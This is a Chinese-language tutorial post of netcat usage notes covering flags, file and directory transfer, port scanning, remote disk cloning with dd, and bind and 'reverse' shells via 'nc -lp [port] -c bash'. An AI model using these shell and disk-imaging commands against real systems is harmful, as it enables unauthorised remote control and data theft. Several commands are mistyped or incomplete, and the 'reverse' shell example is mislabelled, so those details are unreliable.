NETCAT使用笔记

网络工具中的瑞士军刀--小身材,大智慧!!!

功能

1.侦听模式/传输模式

2.telnet/获取banner信息

3.传输文本信息

4.传输文件/目录

5.加密传输文件

6.远程控制/木马

7.加密所有流量

8.流媒体服务器

9.远程克隆硬盘

参数介绍

-g 设置路由器跃程通信网关,最多可设置8个。

-G 设置来源路由指向器,其数值为4的倍数。

-h 在线帮助。

-i 设置时间间隔,以便传送信息及扫描通信端口。

-l 监听模式,用于入站连接 (监听本地端口)。

-n 直接使用IP地址,而不通过域名服务器。

-o 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。

-p 设置本地主机使用的通信端口。

-r 随机指定本地与远端主机的通信端口。

-s设置本地主机送出数据包的IP地址。

-u 使用UDP传输协议。

-v 显示指令执行过程,使用两次更详细

-w 设置等待连线的时间。

-z 使用0输入/输出模式,只在扫描通信端口时使用。

-c shell commands: 使用shell执行 命令(bash 打开bash命令,即可不断执行命令, Win下为cmd)

-e filename: 运行指定程序

-q secs 当命令执行完成后,等待secs秒退出

传输文本信息

服务器A(服务器):nc -l -p 【port】

服务器B(客户端):nc -nv 【IP】

服务器A:root@kali:~# nc -l -p [port] > ps.txt 监听333端口且将内容重定向到ps.txt文件中

服务器B:root:~# ps aux | nc -nv [IP] [port] -q 1 执行命令 ps aux 查看当前进程,通过管道输出,完成后在一秒后断开连接

传输文件

服务器A(服务器):nc -lp [port] > 1.mp4

服务器B(客户端):nc -nv [IP] [port]

服务器A(服务器):nc -q 1 -lp [port]

服务器B(客户端):nc -nv [IP] [port] > 2.mp4

接收的文件文件名可以修改

传输目录

服务器A(服务器):tar -cvf - Sublime/ | nc - lp [port] -q 1

服务器B(客户端): nc -nv [IP] [port] | tar -xvf -

tar 是unix/linux下的打包器。

-cvf可以看做-c -v -f,-xvf则是-x -v -f。

其中-c/-x分别表示create/extract,即打包/解包。

-v 是verbose,表示显示打包/解包的详细过程。

-f 表示file,表示打包输出/解包输入文件,后面跟"-"表示使用“标准输入/输出”(stdin/stdout)作为输出/输入文件。

两个tar命令之间的"|"表示“重定向”,即第一个命令的stdout(也就是打包的输出)作为第二个命令的stdin(也就是解包的输入)

加密传文件

服务器A(服务器):nc -lp [port] | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4

服务器B(客户端):mcrypt --flush -Fbq -a -m ecb

(kali默认没有mcrypt)

流媒体服务

服务器A(服务器):cat 1.mp4 | nc -lp [port]

服务器B(客户端):nc [IP] [port] | mplayer -vo x11 -cache 3000 -

(kali默认没有mplayer)

端口扫描

nc -nvz [IP] 1-65535(端口) 扫描端口

nc -nvzu [IP] 1-65535(端口)扫描UDP端口

远程克隆硬盘

远程电子取证,可以将目标服务器硬盘远程复制,或者内存

服务器A(取证方):nc -lp [port] | dd of =/dev/sda

服务器B(被取证):dd if=/dev/sda | nc -nc [IP] [port] -q 1

d:用指定大小的块拷贝一个文件,并在拷贝的同时进行指定的转换。

if=文件名:输入文件名,缺省为标准输入。即指定源文件。

of=文件名:输出文件名,缺省为标准输出。即指定目的文件。

远程控制

正向:

服务器A(服务器): nc -lp [port] -c bash

服务器B(客户端):nc [IP] [port]

反向:

服务器A(服务器):nc [IP] [port]

服务器B(客户端):nc -lp [port] -c bash

注意:(windows端可以将bash换成cmd)

NC的弱点

1.缺乏加密的能力。nc的传输是不加密的明文传输,有可能被嗅探,ARP欺骗的中间人劫持,做镜像端口等

2.无法判断连接接口的用户

可以用nact(Kali不自带),会对传输管道进行加密,命令如下

服务器A(服务器):ncat -c bash -allow [IP] -vnl [port] --ssl

服务器B(客户端):ncat -nv [IP] [port] --ssl

不同系统/平台上的nc参数功能不尽相同,在使用的过程中可以用nc --help或man nc查看手册(manual 手册)

欢迎关注网络空间安全社公众号:

  • 发表于:
  • 原文链接:https://kuaibao.qq.com/s/20181017G0RS6N00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券